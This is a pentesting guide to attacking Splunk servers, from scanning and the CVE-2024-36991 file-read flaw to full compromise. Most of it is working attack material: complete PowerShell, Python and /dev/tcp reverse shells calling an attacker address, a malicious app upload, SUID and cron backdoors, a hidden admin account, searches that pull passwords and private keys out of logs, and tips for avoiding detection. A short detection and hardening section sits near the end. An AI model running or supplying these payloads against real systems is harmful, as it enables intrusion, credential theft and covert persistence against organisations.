networking

Splunk Pentesting: CVE-2024-36991, RCE and SYSTEM on 8089

Splunk Pentesting: CVE-2024-36991, RCE and SYSTEM on 8089

Complete guide to Splunk pentesting: Exploit CVE-2024-36991, recover credentials via splunk.secret, obtain RCE via malicious app, and scale to SYSTEM or root.

  • Posted on 2026-06-11
  • Reading time: 7 min

Splunk is one of the most widely used SIEM platforms in enterprise environments, and its management REST API on port 8089 makes it a particularly attractive target. It centralizes, indexes, and correlates logs from across the infrastructure, providing access to credentials, authentication events, network topology, and other sensitive data. If compromised, it can quickly lead to code execution with SYSTEM or root privileges. This guide will walk you through the entire Splunk pentesting process: reconnaissance, extraction of encrypted credentials, exploitation of known vulnerabilities, and privilege escalation.


Architecture and Doors #

Splunk is composed of three main elements: the Forwarder (collects logs from endpoints), the Indexer (stores and indexes data), and the Search Head (queries and web interface). Communication between these components passes through specific ports:

PortServiceOffensive target
8000Splunk Web UI (HTTP/HTTPS)Interface access, app upload
8089Splunkd Management (REST API)Primary target
9997Splunk ForwarderReceiving logs
8191Key-Value StoreOptional

Port 8089 is the one that interests pentester. It exposes a complete REST API for user management, app installation, and search execution. With valid credentials, it becomes a direct vector for Remote Code Execution.


Reconnaissance and Enumeration #

Port scanning #

bash
nmap -p 8000,8089,9997 -sV -sC <target>
nmap -p 8000,8089,9997 -sV --script=http-title,ssl-cert <target>

Typical output:

text
8000/tcp open  http     Splunk httpd
8089/tcp open  ssl/http Splunkd httpd
| ssl-cert: Subject: commonName=SplunkServerDefaultCert
9997/tcp open  splunkd  Splunk forwarder

The certificate SplunkServerDefaultCert This is an immediate indicator that the instance is not configured correctly.

fingerprinting #

bash
# Versione e info server
curl -sk https://<target>:8089/services/server/info

# Banner grab versione
curl -sk https://<target>:8089/services/server/info | grep version

# Verifica accesso non autenticato (Splunk Free)
curl -sk https://<target>:8089/services/apps/local

If the endpoint responds without credentials, the instance runs in Free mode — no authentication required, direct access to all REST endpoints.

SSL Certificate Analysis #

bash
# Dettagli certificato
openssl s_client -connect <target>:8089 < /dev/null 2>/dev/null \
  | openssl x509 -noout -text

# Estrai common name
echo | openssl s_client -connect <target>:8089 2>/dev/null \
  | openssl x509 -noout -subject

# Con nmap
nmap -p 8089 --script ssl-cert <target>

Shodan #

text
port:8089 splunk
ssl:"SplunkServerDefaultCert"
http.title:"Splunk"
product:Splunk

Approximately 230.000 Splunk instances are publicly exposed — many on vulnerable versions.

Splunk Free — Unauthenticated Access #

bash
# Se risponde senza creds → Splunk Free
curl -sk https://<target>:8089/services/server/info

# Lista app
curl -sk https://<target>:8089/services/apps/local

# Esegui ricerca
SEARCH_ID=$(curl -sk https://<target>:8089/services/search/jobs \
  -u admin: \
  -d search="search index=* | head 1000" | grep -oP 'sid>\K[^<]+')
sleep 5
curl -sk https://<target>:8089/services/search/jobs/$SEARCH_ID/results

CVE-2024-36991 — Path Traversal on Splunk Web (Windows) #

This vulnerability (CVSS 7.5) affects Splunk Enterprise on Windows versions prior to 9.2.2, 9.1.5, and 9.0.10. It allows arbitrary file reading without authentication.

Technical cause: os.path.join In Python, removes the drive letter from a path token if it matches the current one.

Requirements: Port 8000 access, Splunk Web enabled.

bash
# Verifica
curl -s "http://<target>:8000/en-US/modules/messaging/C:../C:../C:../C:../C:../Windows/win.ini"

# PoC automatizzato
git clone https://github.com/th3gokul/CVE-2024-36991
python3 cvehunter.py -u http://<target>:8000

Useful files to read:

bash
# Chiave crittografica master
http://<target>:8000/en-US/modules/messaging/C:%5CC:%5CProgram%20Files%5CSplunk%5Cetc%5Cauth%5Csplunk.secret

# Hash utenti Splunk
http://<target>:8000/en-US/modules/messaging/C:%5CC:%5CProgram%20Files%5CSplunk%5Cetc%5Cpasswd

# Credenziali LDAP cifrate
http://<target>:8000/en-US/modules/messaging/C:%5CC:%5CProgram%20Files%5CSplunk%5Cetc%5Csystem%5Clocal%5Cauthentication.conf

For a complete guide to exploiting Splunk in real-world environments: HTB Haze Walkthrough — Splunk, GMSA Abuse and Privilege Escalation to SYSTEM.


Credential Extraction and Decryption #

Two distinct mechanisms #

1. SHA-512 hash — file etc/passwd For local users:

text
admin:$6$8FRibWS3...<hash>...:Administrator:admin:admin@example.com::

Crack with hashcat -m 1800 — strong passwords don't give in to rockyou.

2. Proprietary encryption — passwords in files .conf (authentication.conf, inputs.conf, outputs.conf). Encrypted with splunk.secret.

splunk.secret — the master key #

text
# Linux
/opt/splunk/etc/auth/splunk.secret

# Windows
C:\Program Files\Splunk\etc\auth\splunk.secret
bash
pip3 install splunksecrets
splunksecrets splunk-decrypt -S splunk.secret --ciphertext '$7$XXXXXXXX...'

Where to find encrypted passwords #

bash
find . -name "*.conf" | xargs grep -l "password\|bindDNpassword\|\$7\$" 2>/dev/null

# File tipici
# etc/system/local/authentication.conf  → bind LDAP password
# etc/apps/*/local/inputs.conf           → DB connections, API keys
# etc/apps/*/local/outputs.conf          → forwarding credentials

authentication.conf in local/ often contains the LDAP bind password — encrypted with splunk.secret and completely decryptable.


Default and Brute Force Credentials #

bash
curl -sk -u admin:changeme https://<target>:8089/services/server/info
curl -sk -u admin:admin https://<target>:8089/services/server/info
curl -sk -u admin:splunk https://<target>:8089/services/server/info
bash
# Hydra
hydra -l admin -P /usr/share/wordlists/rockyou.txt \
  -s 8089 <target> https-get /services/server/info

# Metasploit
use auxiliary/scanner/http/splunk_login
set RHOSTS <target>
set RPORT 8089
set USERNAME admin
set PASS_FILE /usr/share/wordlists/rockyou.txt
run

Remote Code Execution via Malicious App #

Splunk automatically runs scripts contained in installed apps—Python, PowerShell, Bash, and Batch. Admin credentials provide a shell in the context of the service.

Malicious app structure #

text
reverse_shell_splunk/
├── bin/
│   └── run.ps1
└── default/
    ├── app.conf
    └── inputs.conf

app.conf #

this
[install]
is_configured = true

[ui]
is_visible = false
label = System Monitor

[launcher]
author = System
description = System monitoring application
version = 1.0

inputs.conf #

this
[script://$SPLUNK_HOME/etc/apps/reverse_shell_splunk/bin/run.ps1]
disabled = 0
interval = 10
sourcetype = shell
index = main

run.ps1 (Windows) #

powershell
$client = New-Object System.Net.Sockets.TCPClient('10.10.14.X', 4444)
$stream = $client.GetStream()
[byte[]]$bytes = 0..65535|%{0}
while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){
    $data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes, 0, $i)
    $sendback = (iex $data 2>&1 | Out-String)
    $sendback2 = $sendback + 'PS ' + (pwd).Path + '> '
    $sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2)
    $stream.Write($sendbyte, 0, $sendbyte.Length)
    $stream.Flush()
}
$client.Close()

rev.py (Linux) #

python
#!/usr/bin/env python3
import sys, socket, os, pty
ip = "10.10.14.X"
port = 4444
s = socket.socket()
s.connect((ip, int(port)))
[os.dup2(s.fileno(), fd) for fd in (0, 1, 2)]
pty.spawn('/bin/bash')

Deploy #

bash
tar -czf reverse_shell.tar.gz reverse_shell_splunk/
nc -lvnp 4444

# Via REST API
curl -sk -u admin:PASSWORD \
  https://<target>:8089/services/apps/local \
  -F "name=reverse_shell_splunk" \
  -F "appfile=@reverse_shell.tar.gz" \
  -F "update=true"

# Via Web UI: Apps → Manage Apps → Install app from file

Other RCE methods #

SPL injection (if custom apps configured):

spl
index=main | eval cmd="whoami" | outputlookup cmd_output.csv
| script python script_name.py

SplunkWhisperer2 — automated with cleanup:

bash
git clone https://github.com/cnotin/SplunkWhisperer2.git
cd SplunkWhisperer2 && pip3 install requests

python3 PySplunkWhisperer2_remote.py \
  --host <target> --lhost <attacker> --lport 4444 \
  --username admin --password PASSWORD

metasploit:

bash
use exploit/multi/http/splunk_upload_app_exec
set RHOSTS <target>
set RPORT 8089
set USERNAME admin
set PASSWORD PASSWORD
set PAYLOAD windows/x64/meterpreter/reverse_tcp
set LHOST <attacker>
exploit

Privilege Escalation #

Linux — Splunk runs as root #

On Linux Splunk runs by default as root — shell via app = direct root.

Method 1 — SUID binary via app:

bash
mkdir -p /opt/splunk/etc/apps/privesc/bin

cat > /tmp/shell.c << 'EOF'
#include <stdio.h>
#include <sys/types.h>
#include <unistd.h>
int main(void) {
    setuid(0); setgid(0);
    system("/bin/bash -p");
    return 0;
}
EOF
gcc /tmp/shell.c -o /tmp/suid_shell

cat > /opt/splunk/etc/apps/privesc/default/inputs.conf << 'EOF'
[script://$SPLUNK_HOME/etc/apps/privesc/bin/setup.sh]
disabled = 0
interval = 10
sourcetype = setup
EOF

cat > /opt/splunk/etc/apps/privesc/bin/setup.sh << 'EOF'
#!/bin/bash
cp /tmp/suid_shell /tmp/root_shell
chmod 4755 /tmp/root_shell
EOF
chmod +x /opt/splunk/etc/apps/privesc/bin/setup.sh
/opt/splunk/bin/splunk restart
/tmp/root_shell

Method 2 — Splunk Universal Forwarder:

bash
# Se il forwarder gira come root e puoi scrivere in deployment-apps
mkdir -p /opt/splunkforwarder/etc/deployment-apps/privesc/bin
mkdir -p /opt/splunkforwarder/etc/deployment-apps/privesc/default

cat > /opt/splunkforwarder/etc/deployment-apps/privesc/bin/shell.sh << 'EOF'
#!/bin/bash
bash -i >& /dev/tcp/10.10.14.X/4444 0>&1
EOF
chmod +x /opt/splunkforwarder/etc/deployment-apps/privesc/bin/shell.sh

cat > /opt/splunkforwarder/etc/deployment-apps/privesc/default/inputs.conf << 'EOF'
[script://./bin/shell.sh]
disabled = 0
interval = 10
sourcetype = shell
EOF

/opt/splunkforwarder/bin/splunk reload deploy-server

Method 3 — Cron job:

bash
ls -la /etc/cron.d/ | grep splunk
echo '* * * * * root /tmp/backdoor.sh' > /etc/cron.d/splunk_privesc

cat > /tmp/backdoor.sh << 'EOF'
#!/bin/bash
bash -i >& /dev/tcp/10.10.14.X/5555 0>&1
EOF
chmod +x /tmp/backdoor.sh

Windows — Splunk runs as SYSTEM #

Method 1 — Service manipulation:

powershell
sc config Splunkd binPath= "cmd.exe /c net user hackita Password123! /add"
sc stop Splunkd && sc start Splunkd
net localgroup administrators hackita /add

Method 2 — DLL Hijacking:

powershell
# Trova directory scrivibili nel PATH di Splunk
Get-ChildItem "C:\Program Files\Splunk" -Recurse |
  Where-Object {$_.PSIsContainer} | ForEach-Object {$_.FullName}

# msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=<attacker> LPORT=4444 -f dll -o splunk.dll
Copy-Item splunk.dll "C:\Program Files\Splunk\bin\"
Restart-Service Splunkd

In an Active Directory environment, having SYSTEM on a joined host opens up advanced scenarios such as DPAPI domain backup key dump—a technique covered in detail in the DPAPI exploitation guide . Credentials extracted with Mimikatz can then be used for lateral movement.


Data Exfiltration #

bash
# Crea job di ricerca
SEARCH_JOB=$(curl -sk -u admin:PASSWORD \
  https://<target>:8089/services/search/jobs \
  -d search='search index=* password | head 1000' \
  -d output_mode=json | jq -r '.sid')

# Esporta in CSV/JSON/XML
curl -sk -u admin:PASSWORD \
  "https://<target>:8089/services/search/jobs/$SEARCH_JOB/results?output_mode=csv" > dump.csv

Useful SPL queries:

spl
index=* password OR pass OR pwd | table _time, host, source, _raw
index=* "BEGIN RSA PRIVATE KEY" OR "BEGIN OPENSSH PRIVATE KEY" | table _time, source, _raw
index=* (aws_access_key_id OR aws_secret_access_key) | table _time, _raw
index=* sourcetype=WinEventLog EventCode=4624 | table _time, host, user, src_ip
index=* sourcetype=netstat | table _time, host, src_ip, dest_ip, dest_port

Lateral movement via log:

spl
# Credenziali nei log
index=* password | table host, source, password

# Trova altre istanze Splunk
index=* sourcetype=splunkd | stats count by host

# Sistemi ad alto valore
index=* (database OR sql OR oracle OR dc OR domain) | stats values(host)

Post-Exploitation #

Credential extraction #

bash
# Da passwd (hash SHA-512)
cat /opt/splunk/etc/passwd
grep -v "^#" /opt/splunk/etc/passwd | cut -d: -f2 > hashes.txt
hashcat -m 1800 hashes.txt /usr/share/wordlists/rockyou.txt

# Da app configurations
grep -r "password" /opt/splunk/etc/apps/*/local/*.conf
grep -r "bindDNpassword" /opt/splunk/etc/apps/*/local/*.conf
# inputs.conf → DB e API key
# outputs.conf → forwarding credentials
# authentication.conf → LDAP passwords

Persistence #

Backdoor user via API #

bash
curl -sk -u admin:PASSWORD \
  https://<target>:8089/services/authentication/users \
  -d name=hackita \
  -d password='H@ckita2k24!' \
  -d roles=admin

# Verifica
curl -sk -u hackita:'H@ckita2k24!' https://<target>:8089/services/server/info

Persistent beacon app #

bash
cat > malicious_app/bin/beacon.sh << 'EOF'
#!/bin/bash
while true; do
    bash -i >& /dev/tcp/10.10.14.X/4444 0>&1 2>/dev/null
    sleep 3600
done
EOF
this
[script://$SPLUNK_HOME/etc/apps/malicious_app/bin/beacon.sh]
disabled = 0
interval = 3600
sourcetype = beacon

Malicious scheduled search #

bash
curl -sk -u admin:PASSWORD \
  https://<target>:8089/services/saved/searches \
  -d name=SystemHealthCheck \
  -d search='| script python /tmp/beacon.py' \
  -d cron_schedule='*/30 * * * *'

MITER ATT&CK mapping #

TechnologyIDDescription
Public-Facing Application ExploitT1190CVE-2024-36991 without auth
Valid AccountsT1078Credentials extracted/default
PowerShellT1059.001Shell via scripted inputs PS1
PythonT1059.006Shell via scripted inputs Python
Deploy Tool via Third-PartyT1072Malicious app via REST API
OS Credential DumpingT1003splunk.secret + passwd
Data from Information RepositoriesT1213Log exfiltration via SPL
Create AccountT1136Backdoor user via API
Scheduled Task/JobT1053Scheduled persistent search

OPSEC Notes #

Deploying an app leaves traces in _internal e _auditCountermeasures:

  • Legitimate app names: system_monitor, health_check, ta_windows_updates
  • is_visible = false in app.conf
  • Delete the app after the shell: curl -sk -u admin:PASS -X DELETE https://<target>:8089/services/apps/local/<nome>
  • Minimum interval 10s — do not lower it
  • SplunkWhisperer2 handles cleanup automatically
  • Always use HTTPS on 8089, not HTTP on 8000

Detection — Blue Team #

IndicatorSPL Query
Installation appindex=_internal source=*splunkd.log* "Installing app"
Script executionindex=_internal component=ExecProcessor
Suspicious loginindex=_audit action=login status=success
New userindex=_audit action=edit object=authentication/users
Edit rolesindex=_audit action=edit object=authorization/roles
CVE-2024-36991index=_internal source=*splunkd_access.log* uri="*/modules/messaging/*"

Hardening #

bash
# Bind solo localhost
# web.conf
[settings]
server.socket_host = 127.0.0.1
enableSplunkWebSSL = true

# server.conf
[sslConfig]
sslVerifyServerCert = true
requireClientCert = true

# Firewall
ufw deny 8000/tcp
ufw deny 8089/tcp
ufw allow from 192.168.1.0/24 to any port 8089

Cheat sheet #

bash
# VERSIONE
curl -sk https://<target>:8089/services/server/info | grep version

# CREDENZIALI DEFAULT
admin:changeme / admin:admin / admin:splunk

# BRUTE FORCE
hydra -l admin -P rockyou.txt -s 8089 <target> https-get /services/server/info

# LFI (CVE-2024-36991)
curl -s "http://<target>:8000/en-US/modules/messaging/C:../C:../C:../C:../C:../Program%20Files/Splunk/etc/auth/splunk.secret"

# DECRYPT
splunksecrets splunk-decrypt -S splunk.secret --ciphertext '$7$...'

# LIST USERS
curl -sk -u admin:PASS https://<target>:8089/services/authentication/users?output_mode=json

# LIST APPS
curl -sk -u admin:PASS https://<target>:8089/services/apps/local?output_mode=json

# RCE
tar -czf shell.tar.gz reverse_shell_splunk/
curl -sk -u admin:PASS https://<target>:8089/services/apps/local \
  -F "name=reverse_shell_splunk" -F "appfile=@shell.tar.gz" -F "update=true"

# CREA UTENTE
curl -sk -u admin:PASS https://<target>:8089/services/authentication/users \
  -d name=hackita -d password='H@ckita2k24!' -d roles=admin

# METASPLOIT
use exploit/multi/http/splunk_upload_app_exec

Important files:

text
# Linux
/opt/splunk/etc/passwd
/opt/splunk/etc/auth/splunk.secret
/opt/splunk/etc/system/local/authentication.conf
/opt/splunk/etc/apps/*/local/inputs.conf

# Windows
C:\Program Files\Splunk\etc\passwd
C:\Program Files\Splunk\etc\auth\splunk.secret
C:\Program Files\Splunk\etc\system\local\authentication.conf

FAQ #

What is Splunk port 8089? It's the Splunkd management port—it exposes the full REST API for user management, app installation, and authentication. It's the primary target during penetration testing on Splunk environments.

How do I get RCE on Splunk? Using admin credentials, a malicious app containing a PowerShell or Python script configured in inputs.conf as scripted input. Splunk runs it automatically every 10 seconds.

Is CVE-2024-36991 still exploitable? Yes, on versions prior to 9.2.2, 9.1.5, and 9.0.10 on Windows with Splunk Web enabled. Allows arbitrary file reading without authentication—including splunk.secret e authentication.conf.

What does splunk.secret contain? The master AES key used by Splunk to encrypt all passwords in configuration files. This file decrypts LDAP, DB, and API keys stored in any database. .conf.

Does Splunk RCE always give SYSTEM? On Windows, yes — the service Splunkd Runs as SYSTEM by default. On Linux, it runs as root. The shell obtained via app deployment directly inherits that context.


Splunk in Action — Real-World Case Study #

All the techniques described in this guide were applied on HTB Haze , a Windows hard disk with Splunk Enterprise installed on a domain controller. The complete walkthrough: HTB Haze Walkthrough — Splunk, GMSA Abuse, and Privilege Escalation to SYSTEM.


Resources #


Educational guide for authorized penetration testing.

#splunk #cve-2024-36991

leave a message

I'm not a robot